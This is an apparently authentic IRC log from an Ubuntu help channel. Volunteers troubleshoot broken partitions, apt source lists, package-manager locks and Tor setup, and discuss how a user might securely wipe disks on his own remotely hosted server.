are normally formatted as [22:42] how to restart eth0?

[22:42] i have two ubuntu partitions because this didn't have enough space [22:42] darael well, it could be a physical problem. Jezek, does it make any sounds? Can you hear the drive rev up? [22:42] so i made the other one.. was working for a while then now it doesnt work at all === JuLiiien|2 is now known as JuLiiieN [22:42] it's on the same hard drive [22:43] Jemt, well maybe not [22:43] jezek how are you here right now? another computer? also, about how long did the partitions last? [22:43] another partition [22:43] i'm trying to mount the partition i guess i should hav esaid [22:44] uhh it was working for a few weeks [22:44] but now when i boot up it says some errors and i cant access the files from another partition either [22:44] jezek please tag your responses, and did you do anything major on them, did you tweak the OS at all? [22:44] no [22:44] i'm not sure what tagging my responses is [22:44] !who | Jezek [22:44] Jezek: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [22:45] Jezek: That ^^^ [22:45] ok [22:45] spencer, [22:45] darael do you guys get sent a big book of ubottu commands? [22:45] jezek one line, like how I type my responses [22:45] Darael: Did you manage to get the realtek to do what you want it to do? [22:45] XiaolinDraconis: You still haven't told us what you want to customize [22:46] i was tagging my previous responses [22:46] Jemt, yes i have but here goes again.. the plymouth boot screen [22:46] spencer, i can find out the errors too if i have to. but it said something like /root/dev/ missing.. /sbin/init/ missing [22:47] i thought i would still be able to access the files though [22:47] BernardV: Yes! Well, not the dropouts, they're still there. But the other thing is sorted. Turned out something had overwritten /etc/dbus-1/wpa_supplicant.conf with a blank file so wpasupplicant was blocking nm. [22:47] how do i disable default setting of automatically connect to this wifi network when i connect to one? There was an answer on a forum that said applications-system tools-configuration editor. I don't seem to have it. [22:47] BernardV: Well remembered and thanks for checking up! [22:47] i realise you can do it manually for each network though [22:47] XiaolinDraconis: That's not covered by the docs [22:47] .. i linked to [22:47] XiaolinDraconis: Did you ask Google ? [22:48] Jemt, yes and google pointed me to plymouth-manager [22:48] Darael: np.. always currious;) Maybe I ru into something similar in future, always nice to know what the problem was :) [22:48] should i use fsck to repair it? === WinstonSmith_ is now known as WinstonSmith [22:49] Well if someone wants to install ubuntu on an embedded geode, I now know enough :) [22:50] BernardV, lol I'm just trying to get it to work on usb! [22:50] I'm trying to connect to shares on a windows 7 home premium machine from ubuntu 11.04 (updated and running samba); it prompts for username and password, but just comes back up with the login box [22:50] Permission denied while trying to open /dev/sda7 [22:50] bencahill: Booting from USB? [22:51] sam: i used boot_delay=9999 in the isolinux file and also the file of the same name in syslinux [22:51] sam: no change on boot at all [22:51] is there any way of accessing the files [22:51] BernardV, yeah, but neither the bios nor grub support the usb stick/pcmcia usb adapter [22:51] Jezek: You need to be root to use fsck. Use sudo. [22:51] tunist, i just tried boot_delay myself. it doesn't work for me either ;-( [22:51] BernardV, I'm working on Plop now :) [22:51] bencahill: and no other USB (just asking) [22:52] how can i use my internal sound card while having a USB sound card connected ! (selecting sound device in System>pref's>sound does NOT work.) [22:52] Darael, says device or resource busy === jMyles is now known as openldap === openldap is now known as jMyles [22:52] sam: ah ok.. i have yet to use debug or acpi=off in the syslinux file [22:52] sup guys [22:52] sam: i'm not sure what the difference is between syslinux and isolinux [22:52] Jezek: In that case, something is using it. Try issuing "mount" to see if it's been mounted and not reported to the GUI, or something like that. [22:53] tunist isn't ISOlinux the liveCD? [22:53] I've got LmCompatibilityLevel on the win7 box set to 1, password sharing turned off, public folders on, file and print sharing on, 40/56 bit encryption on, and use user accounts on [22:53] jezek have you checked the /media folder? [22:53] BernardV, no, although I may be able to try another one this weekend [22:53] Darael, can't find /dev/sda7 [22:53] BernardV, well plenty actually, but not 2GB+ :) [22:53] ~/media? [22:53] i had problems with recordmydesktop, it won`t record and sound from the soundcard, how can i make it working? [22:53] or where [22:54] sam: i don't know, but both version of the files contain menu references and boot options that point to both 'install from hard drive' and 'run from cd' [22:54] bencahill: Yeah I ment the usb port [22:54] nvm [22:54] !who|jezek [22:54] jezek: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [22:54] tunist, i don't know either. sry [22:54] sam: if that's the difference you are pointing to/thinking of [22:54] BernardV, doesn't work with the in-built 1.1 ports either, so I don't think it's that [22:54] jezek, just open a nautilus window, then go to filesystem, then hit media [22:55] ok [22:55] sam: ok, thanks for assisting.. i know a bit more about how the boot works anyhow... maybe i can figure it out from here [22:55] bencahill: Hmm.. and you have the option to select boot from USB in your bios? [22:55] hidnshadows, there are two drives that i can't access [22:55] you do not have permissions [22:55] is it possible to create temporary files automatica;;y? [22:55] The network-manager applet vanishes every so often (sometimes ~30 mins, sometimes ~4 hours) on my Maverick box. Running it from the terminal shows it's getting signal 15 (sigterm). What can I do about it? Can I find out where the sigterm is coming from, wihout rewriting nm-applet? [22:55] I need to clear the hard disk that my / partition is mounted on. How can I do this without physical access to the server? [22:55] tunist, ok i will msg. if i get to know sth [22:56] hidnshadows: ISOlinux a bootloader, just like syslinux.. but syslinux runs on a FAT filesystem [22:56] jezek hang on, in the meantime make a new custom launcher on the panel and I'll look up that code [22:56] sam: ok, thanks a lot [22:56] bernardv okay, just curious [22:56] hidnshadows, what? [22:56] hidnshadows: But yes, the LiveCD uses ISOLinux :) [22:56] jezek go to terminal, type this in : gksudo "gnome-open %u" [22:56] tsrk: Without hosing your / partition? Unmount any other partitions and format them? If you need to completely wipe it, you have no way of doing this effectively without physical access. [22:57] no such file or directory [22:57] darael does tsrk need to wipe a disk? [22:57] hidnshadows, no such file or directory [22:57] Darael: I want to hose my / partition along with the rest of the disk... I don't want any data to remain though [22:57] jezek, then try sudo gnome-open [22:57] hidnshadows: 22:55:52 < tsrk> I need to clear the hard disk that my / partition is mounted on. How can I do this without physical access to the server? [22:57] hidnshadows: Yes [22:58] tsrk: You need physical access. [22:58] how can I restore' my synaptic Package manager "??? [22:58] tsrk oh it's a server. I was going to say, if it was a local hard drive, there's a boot disc called DBAN. that'll completely shred the drive [22:58] hidnshadows, command not found [22:58] jezek hmm... one sec [22:58] Darael: ok, what would be the best I can do without physical access? [22:59] hidnshadows: The problem is that it's the disk that / is mounted on [22:59] jezek try sudo nautilus --browser [22:59] please help me as my Synaptic Manager is showing : E: Type 'multiverse' is not known on line 50 in source list /etc/apt/sources.list [22:59] tsrk: Without physical access the best you can do is to run shred over any file you want to be sure is gone. That doesn't include programs. Data files only. [22:59] no one has any idea why I can't connect to a windows 7 home share using nautilus? [23:00] ok [23:00] hidnshadows, why did i do that [23:00] Darael: what would happen if I just shredded the disk, ignoring the fact that / is mounted? [23:00] Darael: wouldn't all the programs be cached in memory long enough to finish the process? [23:00] tsrk: You could create another partition, install a base linux system that can boot, change your mountpoint with fdisk or something, then reboot and hope it boots. Then wipe the old /... that could work I think. [23:00] tsrk: It would almost certainly fail partway through as the program you were using got overwritten with random data. [23:01] how can i update or correct my /etc/apt/sources.list [23:01] tsrk: BernardV's is the most likely method. [23:01] my /etc/apt/sources.list is corrupt [23:01] please help me [23:01] induz want me to pastebin you mine? [23:01] /etc/apt/sources.list i giving me errors [23:01] BernardV: I like that idea... what's the best way to install a base system onto a partition like that? [23:01] induz: Open the Software Centre, go to prefs and change the sources. Alternatively, run "gksu gedit /etc/apt/sources.list" from a terminal or from alt+f2. [23:01] BernardV, oh no, this laptop is from the 2000-2002 era :) no boot from usb in bios, almost no bios at all :D [23:02] bencahill weird, 2001 toshiba can boot form USB [23:02] is there any other way to just recover the files? [23:02] !patience | induz, I realise you have an answer now but for future reference [23:02] induz, I realise you have an answer now but for future reference: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/ [23:03] tsrk: Not sure, never done that. I would try to create a parition in a VM localy, then dd the parition to a file, upload it and dd to the parition on the server.. but not sure it would work [23:03] bencahill: Ah ok.. then CD it is I think... [23:03] induz, do you want me to PM you the code from mine, and you can try to create a new one? [23:03] BernardV, tsrk: That fails for the same reason shred fails. I tried it once. [23:03] i have files i need to access asap on the hard drive [23:03] !who | Jezek [23:03] Jezek: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [23:04] Darael: that would be going to a different partition, not overwriting / [23:04] im not speaking to anyone [23:04] Darael and ubottu: i am trying to get my /etc/apt/sources.list restored [23:04] BernardV: that seems like a good idea, I'll try that [23:04] tsrk: My apologies, I must have misread. [23:04] Darael, my statements weren't directed at anyone [23:04] Then you could try to update your kernel to a KVM kernel, install a VM system on a real parition and use that one [23:04] except that one [23:04] tsrk what is your situation, do you need to nuke an entire hard disk? or is the pronlem that an external device has it mounted? [23:05] induz: ubottu is a bot! I know you are. The instruction I gave earlier will help you to edit it. The fiftieth line is the one causing you problems. Try commenting it out. [23:05] !patience | Jezek, in that case [23:05] Jezek, in that case: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/ [23:05] hidnshadows: I need to "nuke" 2 hard disks inside a server that I don't have local access to [23:05] how can I open that file?? [23:05] hidnshadows, lucky! :) [23:05] i only asked it once [23:06] tsrk: Do you have serial console access? [23:06] BernardV: actually, the issue with doing that is I doubt it's going to work first try, and if it gets stuck without ssh I'm screwed [23:06] BernardV: unfortunately no [23:06] tsrk oh, DBAN would require access. Besides, physical access is really the only way to know that you aren't doing it maliciously (not implying anything) [23:06] tsrk: That's to bad... that would make things a lot easier :) [23:06] I changed the SErver[prefered] on software Center [23:07] Jezek: I'm sure you know what's meant. You're filling the channel with messages along the lines of "I really need this fixed". We can see that. I'm actually looking for something to help you, but a little patience will go a long way. [23:07] hidnshadows: I just migrated all my virtual servers to a colo at a new DC, and I don't trust my old DC to wipe the disk. When I first got this server, it had the last customer's data on. I had very sensitive data on here that can't be leaked. [23:07] hidnshadows: So it's not malicious, but I really need to get it done. [23:07] tsrk go to the place with the server isn't possible? ROAD TRIP!! [23:08] hidnshadows: Haha, I doubt th ey'd let me in [23:08] how can i reach to #50 line?? [23:08] hidnshadows: This place took like a week to repsond to my billing ticket [23:08] tsrk: Just ask if they can install a new base system, I don't think they will keep the old data [23:08] Darael, before i was asking how to mount if it it wasn't mounting. now i was asking if there is just another copy files from the partition somehow. two seperate questions. [23:08] tsrk there's an OS called DBAN thant securely nukes any local drives, but I don't think it'd work with a server [23:08] I installed the latest 10.10 netbook software, is there a way to make the ubuntu symbol act as the main menu icon more like a normal system? other than that, I like the icon bar that comes with netbook. [23:08] *another way [23:09] jezek do you or don [23:09] BernardV: I asked before getting the server set up if they always wipe disks, and they said yes. Then, they set it up for me, and I could see the last customer's data. [23:09] what? [23:09] tsrk: Ouch.. [23:09] jezek can you or can't you mount the drive [23:09] BernardV: Yeah... there's half the reason I'm switching [23:09] hidnshadows, i cannot [23:10] can any one tall me how to chek mail via teminal [23:10] tsrk: But your VM host doesn't have a ssh login for customers to use the XEN/KVM/?? console? [23:10] tsrk if they;re that bad, file a report with places like the BBB. After that, try asking #backtrack if they need a new target :) === Glavata_ is now known as Glavata [23:10] BernardV: it's a physical server [23:10] I have a VM host and a server, VM host has XEN console access, server has serial.. so ... [23:10] ah ok [23:10] The network-manager applet vanishes every so often (sometimes ~30 mins, sometimes ~4 hours) on my Maverick box. Running it from the terminal shows it's getting signal 15 (sigterm). What can I do about it? Can I find out where the sigterm is coming from, wihout rewriting nm-applet? [23:11] hi [23:11] hi [23:11] tsrk: You can probably dd zeros to the entire drive while still booted from it. [23:11] ubuntus not as busy right now cool [23:11] darael, the program's running the background even if the applet has disappeared. How wide is the screen, is there spacious room for the icons? [23:11] Jordan_U: I was wondering if that'd work, but BernardV said that most likely it'll die half way through from trying to read something [23:11] can any one tell me to check mai via terminal [23:11] when is it the worst around here for asking a question as far as # of people asking [23:12] tsrk: That was Darael , but I think the same ;) [23:12] juniour, mai=mail? [23:12] BernardV: sorry, yeah [23:12] ya [23:12] tsrk: In my experience no. Just make sure that anything that might run during that time is already running (in RAM). [23:12] hidnshadows: I know it is, but network-manager disconnects if the applet quits. Screen is currently 1366x768 - I've got plenty of space for my panel icons. [23:12] tsrk: That said, no guarantee. [23:12] Jordan_U: oh you've tried it? that'd be great if it'd work [23:12] c_0kie probably around Christmas-time, we can't be on IRC while with our families [23:13] tsrk: Just try it in virtualbox or something.. easiest way to test [23:13] sam u know to do this [23:13] ? [23:13] BernardV: yeah i'll do that [23:13] sam r u there? [23:13] hidnshadows: and I wouldn't want you guys to be either :) have some time off and celebrebreate! I mean time wise though as far as military time of the day [23:13] !tab | juniour [23:13] juniour: You can use your key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. [23:13] juniour, try mutt [23:13] juniour, sudo apt-get install mutt === Axlin_ is now known as Axlin [23:14] c_0kie there isn't really a time, there's a bunch of people across the oceans and around the world, Night time's usually pretty quiet though [23:14] k [23:14] sam [23:15] juniour, y? [23:15] tsrk: But updating to a KVM kernel and installing a VM on a real parition and then changing the mountpoints would be easier then dd'ing I think. [23:15] tsrk: And it may sound stupid but dding zeros is probably less likely to cause a crash than anything else (in C code that reads it in it's more likely to look like a null pointer/empty string/ something else that's safer than a random pointer or unterminated string). [23:15] hidnshadows: ok gotcha thanks becuase earlier it was crazy! [23:15] tsrk: If dd'ing zero's doesn't work I mean [23:15] C_Okie, yeah night time is pretty guiet, except for the occasional troll (last night) :D [23:15] Whoah bencahill I never knew that about the IRCs, thanks man! [23:15] bencahill: Whose night time? :P [23:15] That's true Jordan_U [23:16] oooh fun stuff with bots and trolls [23:16] hidnshadows, ? [23:16] BernardV: That way would work better if I could get it right first try, but if it gets stuck before running SSH I'm screwed [23:16] bencahill about the tab autocompletion [23:16] Darael, CST [23:16] Jordan_U: the ideal situation would be for dd and SSH to both keep running through the whole process so I can get confirmation that it finished [23:16] hidnshadows, ah :) I felt pretty dumb when I found out about it too :) [23:17] bencahill: Ah. I'm in GMT myself, you see, so I do wonder which time people mean sometimes. [23:17] tsrk try contacting the company and ask if they'll run DBAN or at least wipe it? [23:17] Darael, ah :) [23:17] hello [23:17] exit [23:17] how can I update my Ubuntu [23:17] juniour, /quit [23:18] thanks [23:18] juniour, :) [23:18] induz back your stuff up and install the next one [23:18] induz: System->administration->update manager, or to upgrade, see hidnshadows's response. [23:18] Is there a way to burn software to a disc and let others use it like the LiveCD works for software center? [23:18] tsrk: That's true, but delete most files you know for sure you don't need, then write a lot of 0'files, delete them, write 1' files delete them etc... then you try ;) If it's not working most "for your eyes only" data will be lost [23:19] darael I wasn't sure if induz was talking about going to maverick or patching stuff [23:19] tsrk: Keep us updated on how it goes :) [23:19] hidnshadows: as I was saying earlier this company says they wipe disks but they don't really [23:19] hidnshadows: Hence the dual response. Between us, it's covered. [23:19] I am getting Partial Update why?? [23:20] tsrk okay, if the 1's and 0's don't work, then maybe you could request that they run that software afterwards [23:20] quit [23:20] tsrk: Where is the data you don't want others to see? [23:20] induz: Presumably because there's something preventing the update happening as a full one. Go through the partial then run it again and it usually resolves. [23:20] BernardV: sorry, not quite sure what you mean. are you saying I should fill the free space with junk files? that'd probably work actually [23:20] tsrk: Yeah that's what i mean [23:20] I am going to Partial way darell [23:20] hey i hav install mutt but on scree comming pacakage configuration [23:20] tsrk: And do it a few times, with not only 0's [23:20] !tab | induz [23:20] induz: You can use your key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. [23:20] BernardV: it was VM disks... I made the mistake of rm'ing them instead of shredding them [23:20] tsrk: Random would do [23:20] which channel do you go to to talk about internet speed issues? [23:21] tsrk: Ah ok [23:21] postfix configuration [23:21] induz are you behind a 3rd-party firewall when you update? my HS firewall won't let me get stuff from medibuntu [23:21] BernardV: what will happen if the disks gets too full? anything bad, or will the writes just start failing? [23:21] just partitioning hard drive to install ubuntu 10.04. any reasons why i shouldnt use ext4 instead of ext3? [23:21] how to select mail server configuration [23:21] Loneclock: Depends on what you think the problem is. If you reckon it's Ubuntu, here. If you reckon it's your network setup, try #networking and ##networking. If you reckon it's your ISP, talk to them. [23:21] Its doing Distro Update which i dont want caz i had problem earlier with my USB wireless adapter [23:21] ubottu, I noticed for some, the tab sometimes produces a colon : or a comma , . Anyway to change that? [23:21] Error: I am only a bot, please don't think I'm intelligent :) [23:22] !ext4 | Bilz [23:22] tsrk: I was just typing.. "Be aware that 0 free space can hang a system...not always the case" [23:22] doh [23:22] thanks [23:22] now i dont know ...may be i have to re-install ubuntu koala again [23:22] Hello. [23:22] hi kyle__ hows it going. got a problem? [23:22] I am not behing firewall other than my router [23:23] Trying to get ubuntu on a silver imac. === juniour is now known as shubham [23:23] tsrk: There's some space reserved for root, so even if it gets unusably full you could boot in single-user mode (or, indeed, telinit 1) and you'd be able to sort it. [23:23] hello [23:23] kyle__ do you have a boot disc? [23:23] I just wanted to install mySpell-hun for hindi [23:23] Install goes fine, refit installed, but no linux boot. === shubham is now known as juniour [23:23] BernardV: You might find that info useful as well, actually. [23:23] ya [23:23] hidnshadows: yup. [23:23] BernardV: hmm ok... well, the disk wasn't nearly 100% full from the VM disks, so as long as I write at least that much data will I be OK? Or will the new data go on a different physical part of the disk? [23:23] kyle__ hold down the left "option" key [23:24] Darael: indeed:) But does it start ssh? If not he still has a problem [23:24] i am new to this thats y am cheking the command [23:24] Darael: oh yeah, I was reading something about being able to unmount / in runlevel 1, would that work instead? [23:24] Darael: is that what telinit does? [23:24] is anyone familiar with the issue of iTunes freezing up when trying to run it on a VirtualBox? I've been trying for days learn how to fix this issue but no luck [23:24] hidnshadows: Did. And it says no OS, etc etc. [23:24] tsrk: It's one of the things it does. [23:24] Darael: will that kill my running SSH? [23:25] kyle stupid mac and their [insert word here] proprietary BIOS and CMOS or whatever [23:25] wht is the use of tab key [23:25] tsrk: You'd want to make sure the program you wanted to use to shred was loaded into the ramdisk, along with any ssh-related files, first. [23:25] ? [23:25] !tab | juniour [23:25] juniour: You can use your key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. [23:25] BernardV: Probably not, but one can change the runlevel definitions in advance so that it does. [23:25] hidnshadows: As prone as I am to agree, I'm really hoping to find a way to get this to boot nicely. [23:25] Anyone know if it's possible to setup a PXE Server without using fancy DHCP? Just using DHCP from a router? [23:25] wt is autocompletion [23:25] ? [23:25] Darael: Thanks.. never needed that yet, but good info [23:25] !firefox [23:25] firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins - See also !firefox-3.5 [23:25] Darael: Do I need to create a ramdisk, or is there one created when it goes to runlevel 1? [23:26] juniour, try it [23:26] kyle__ yeah, too bad you can't just nuke the sucker and it will install fine [23:26] tsrk: I'm sorry, it's not my field, [23:26] juniour, jun autocompletes your nick [23:26] juniour: try /ho [23:26] tsrk: ... I don't know. [23:26] k [23:26] same Koala not Lucid after Update as i never said Upgrade [23:26] Darael: ok, thanks though... I'll mess around in a VM and see what I can figure out [23:26] tsrk: Good luck. [23:26] thanks [23:26] yeah tsrk good luck [23:27] k [23:27] induz, paste.ubuntu.com with your sources.list and the output of lsb_release -a [23:27] thank to === lost is now known as Guest49487 [23:27] all [23:27] thanks hidnshadows [23:27] tsrk: YEah good luck and if you find a good sollution, I'm all ears ;) [23:27] to help [23:27] me [23:27] juniour: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation. [23:27] I'll let you all know how this goes [23:27] right, ive loaded up on my livecd, but for some reason there are some partitions i cant delete through gparted. such as the extended partition containing a swap partition. also, my hard drive seems to be split funny, so that the i have first 100gb unallocated, then partition of 100gb (which i want) and then another 200gb or so free, then swap partition, then another 100gb or so. how do i rectify these problems?! [23:27] juniour: TAB in general move cursor (and sometime add rest of path/command/nick etc.) [23:27] k [23:27] BernardV: I really don't think there's going to be a "good" solution... whatever I do is going to be a cluge of some kind [23:27] shcherbak [23:27] thanks [23:28] okay, managed to get rid of the swa [23:28] swap [23:28] tsrk: Still curious :P [23:28] Bazang?? what?? [23:28] now need to allocate the paritions in a proper order! [23:28] BernardV: yeah, I'll let you know [23:28] how do i cancel an ionstall that is in process [23:28] *install [23:28] im in ubuntu software center and the progress bar froze [23:28] how can i go to source list?? [23:28] Any refit gurus here? Anyone know if there's editing to do to get into linux? [23:28] Jezek: Pull the plug :) [23:28] so hey guys, I heard soemthing about increasing the swap partition will make it run faster/handle more programs. Anything on this? [23:28] :/ [23:29] BernardV, i have to restart? [23:29] hidnshadows, think she just need double the memory for the swap [23:29] hidnshadows: Depends how much RAM you have and how much is being used. [23:29] think you* [23:29] hidnshadows: how much ram does your system have, and how large is your swap now?.. most newer systems probably rarely touch swap [23:29] Jezek: No, I don't think so.. [23:29] induz, cat etc/apt/sources.list -----> copy to paste.ubuntu.com and give us the url; also the output of lsb_release -a [23:29] hrm [23:29] Jezek: How long ago it froze? [23:29] induz: cat /etc/apt/sources.list [23:29] BernardV, few minutes [23:29] induz, cat /etc/apt/sources.list [23:29] darael km0201 it's a netbook, supposedly it has 2GiB RAM but I only ever see 1 listed [23:30] hnmm [23:30] bazhang: right, [23:30] Jezek: Just wait a few more, I had some install which stalled for about 10 minutes, never knew what it was... [23:30] lol ok [23:30] Jezek: Otherwise you could start a terminal and check the running processes and kill the installer [23:31] Jezek: you can just kill software center, then run in terminal: sudo apt-get install -f && sudo apt-get autoremove [23:31] bernardv to kill process via terminal [23:31] hidnshadows: Might make a difference, depends how much of your hard drive you're prepared to give up for swap - but the problem may be your netbook processor. You'll want to see what is being overused - htop does that very nicely, gnome-performance-monitor (or w/e) doesn't because it eats too much itself. [23:31] how can i do it [23:31] yes juniour ? [23:31] hi [23:32] hi [23:32] shcherbak: It may be necessary to remove the dpkg lock file as well if juniour does that. Just a heads-up. [23:32] s3rris: any luck? [23:32] juniour: type: top to get PID, and kill PID [23:32] juniour: "ps aux" look at the PID, then "kill [PID]" and if it doesn't kill "kill -9 [PID]" [23:32] Darael: he will tell us about it [23:32] k [23:32] where can i paste my source file?? [23:32] its a text file [23:33] shcherbak: Well, the error message for that can be a little cryptic so I thought I'd give advance warning. [23:33] induz: pastebin.com [23:33] Darael: You may be right. [23:34] Person who said run apt-get autoremove, "could not lock /var/lib/dpkg/block..." [23:34] thanks scherbak and bernardv [23:34] http://pastebin.com/LvhgcZ1c [23:34] Jezek: run it as "root" [23:34] does mv have a flag where each file that was successfully moved gets deleted before moving on to the next file? [23:34] above is my file please look at it [23:34] Jezek: sudo apt-get autoremove [23:35] induz, you have some breezy sources in there [23:35] BernardV, same error [23:35] The network-manager applet vanishes every so often (sometimes ~30 mins, sometimes ~4 hours) on my Maverick box. Running it from the terminal shows it's getting signal 15 (sigterm). What can I do about it? Can I find out where the sigterm is coming from, wihout rewriting nm-applet? [23:35] Jezek: check this file /var/chache/apt/lock [23:35] Jezek: Or you are running another apt instance (synatic, apt, aptitude...) that locks the file [23:35] induz, also, pastebin the output of lsb_release -a [23:35] Jezek: First run "ps -e | grep dpkg". If there's no output, run "sudo rm /var/lib/dpkg/lock" and if there is, wait for your running installs and/or updates to complete. [23:36] Jezek: and remove it, and repead: sudo apt-get install -f [23:36] induz: like we have told you since the last 6 hours at least, simply delete the last 3 lines [23:36] Darael, there was an output. but the install has been at 50% forever [23:36] induz, gksudo gedit /etc/apt/sources.list and place a # in front of the breezy sources; then save the file and sudo apt-get update and sudo apt-get upgrade [23:37] hey you guys...whats a good video editing software for ubuntu? basically, i need to copy the audio from a video into a separate file, edit it with audacity, then overide the original audio of the video with the one i edited in audacity [23:37] shcherbak, no file there [23:37] any1 familiar with this avi 2 smv converter http://www.cs.bgu.ac.il/~yurac/interests/smv-encode/ ?? does any1 know where i can try to alter the display size? [23:38] cannonfodder: ffmpeg (console) [23:38] thanks [23:38] Jezek: /var/lib/dpkg/lock , sorry wrong paste [23:38] sudo apt-get upgrade ???? its for what [23:38] shcherbak, there is no dkpg folder [23:39] cannonfodder: avidemux, pitivi; also for a list http://tinyurl.com/pjcls [23:39] it for upgrading ur system [23:39] oh sorry mistyped [23:39] induz [23:39] Thanks Bazhang....but I dont want to upgrade to any other version of ubunt [23:39] induz, first the output of lsb_release -a in a pastebin please [23:39] shcherbak, delete this file? [23:39] induz: for upgrading all the packages that have a newer version [23:39] induz, and then edit the sources.list [23:39] Jezek: Advisable to kill the running dpkg process first.

[23:39] Codename: karmic [23:39] induz: apt-get update updates the sources [23:39] Darael, how so [23:39] induz, until you get rid of those breezy sources, you wont get it fixed [23:40] I inserted # in front of Breezy sources and saved the source file [23:40] induz, repaste it for us to see [23:40] I have also shown my lsb-release above [23:40] induz: then run "apt-get update" [23:40] Jezek: If you remove the lockfile, run another dpkg, then the one that's already running might at some point resume and wind up leaving your system inconsistent. Issue "sudo killall dpkg" to be safe. [23:41] it says : No LSB modules are available.

[23:44] induz, you are either updating now, or have another package manager open [23:45] Hi. the touchpad of my laptop has always worked fine, but after using the laptop with an external keyboard and mouse for some time, the trackpad suddenly doesn't work anymore. Could anyone help me out?

[23:46] induz, you're on Karmic now === Jezek_ is now known as Jezek [23:46] strouthos, at what point i got it to work but it was jerky. im afraid i cant remember exactly what i did to fix it, but im an ubuntu noob and i googled and managed a fix [23:46] induz: so what are you using?.. .all yoru repos say karmic [23:47] shcherbak, it says its installed now [23:47] wow...Karmic is working now [23:47] shcherbak, can't seem to find it anywhere though [23:47] im definately a linux noob.

[23:48] induz, end of support cycle [23:48] k [23:48] it is supposed to run through audacity, but it doesnt seem to detect the usb device?

Can someone tell me how to add translations for a new menu entry in isolinux/txt.cfg ? [23:51] your name was red when you asked me i thought it was a pm [23:51] strouthos, http://ubuntuforums.org/showthread.php?t=1508556 try this? [23:51] Does anyone here have any experience with tor/vidalia? [23:52] why My keyboard is slow suddenly?? [23:52] Anyone know if nautilus can handle menu protocol somehow like pcmanfm does? [23:52] 1anyone | hidnshadows [23:52] strouthos, it looks like a page i found when i was searching [23:52] !anyone | hidnshadows [23:52] Changing existing translations is not a problem. I just can't seem to figure out how to add one [23:52] hidnshadows: A large amount of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? [23:52] so in the MBR, the addreses 01BE thorugh 01FD ( the table of primary partiions) is pointers to the adress and meta data on the parition itself? [23:52] !tab | pops no... thats so you can see what i'm saying [23:52] pops no... thats so you can see what i'm saying: You can use your key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line. [23:52] I have spellChecker... I want the dictionary [23:52] pops: regardless, what is your wireless device?.. lspci should show it, assuming its internal [23:52] Does anyone know dd command parameters here? [23:53] hidnshadows: Yeah, don't run a tor exit node :P relay ok, but exit....you don't want to know what kind of sites are accessed [23:53] what is lspci? I have to warn you I'm not a very adept computer user :/ [23:53] pops, lspci shows you the connected hardware in the computer, interally [23:54] !anyone 1 sosaited [23:54] Error: I am only a bot, please don't think I'm intelligent :) [23:54] I want to know if to provide "records" value to "seek" parameter or the bytes? [23:54] pops: lspci = list PCI devices [23:54] I'm trying to upgrade a server from 6.06 to 10.04 via the command line. I've changed my /etc/apt/lists/sources.list file to point from dapper to lucid, but when I sudo apt-get update, I get this: E: Unable to parse package file /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_lucid_main_binary-i386_Packages (1) [23:54] I keep getting a conflict with one of my programs, on install there's a debconf setting. This setting, no matter what it is, gives me an error when I reboot. also bernardv, I'm not new to tor. I don't use it for illegal stuff, but rather getting around the school firewall [23:54] pops: open a terminal, type "lspci" no quotes(and thats a lowercase L)..a nd hit enter.. it will spit out your PC's devices, find yoru wireless device in the list and tell us what ti is(don't give us the whole freaking list) [23:54] is this the command for installing an application : sudo apt-get install [23:54] induz, yes [23:54] thanks [23:54] yes induz [23:55] is there a step I missed? [23:55] well im using windows, otherwise i can't access the internet [23:55] do what you said [23:55] should i go into ubuntu [23:55] and come back as soon as i can? [23:55] !who | pops [23:55] pops: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :) [23:55] pops: yes... you should... [23:55] hidnshadows: Depending on your school's AUP, that may actually qualify as "illegal stuff". I have a feeling we're not supposed to support firewall evasion even if it seems to be legal in here, but ICBW. [23:55] tomlikestorock_, i'm not a very good user though, but according to the wiki you can't upgrade to one very old release to something a bit modern :d [23:56] ridin; ack. what should I aim for first, then? [23:56] darael and I use it elsewhere, just so that people can't snoop, especially on open networks. [23:56] tomlikestorock_, i'm i can't help much, but you can try downloading and installing lucid [23:56] hidnshadows: I don't judge tor. I think it's beatifull, but I ran an exit node for a few months and one day I thought.. "What the heck, I will log the url's..." What I have seen I don't want to share, but it was enough to stop being an exit [23:57] hidnshadows, how's the speed? last time i used it was 5 years ago. it was horrible [23:57] hidnshadows: Fair, and I'm not judging tor. Or you. Just a heads-up, you may not want to say the other use. [23:57] sam-_-: It still is, that's why I thought it would be nice to run an exit on my 1Gbit uplink [23:58] bernardv yeah, I know what you mean, and it sickens me. sam-_- it depends on where the tube exits. For example the common australian does very poorly [23:58] BernardV brought to you by Google? [23:58] hidnshadows: When I've installed tor, I haven't gotten debconf prompts. What's it asking you for? Are you using packages from Ubuntu's repositories (if so, which version of Ubuntu?), or torproject.org? [23:58] sam-_-: Nope [23:59] sam-_-: in DCG amsterdam [23:59] rww I'm using torproject's repos, and it's like "do you want vidalia to restart tor when run" or something [23:59] barnardv i am able to watch you tube videos in movie player [23:59] sorr y not [23:59] how to enable [23:59] it [23:59] BernardV, but you don't have 1gbit @ home, do you? [23:59] hidnshadows: Ah. I don't install Vidalia. It's caused problems for me with starting tor at boot, and it doesn't add much imho :\
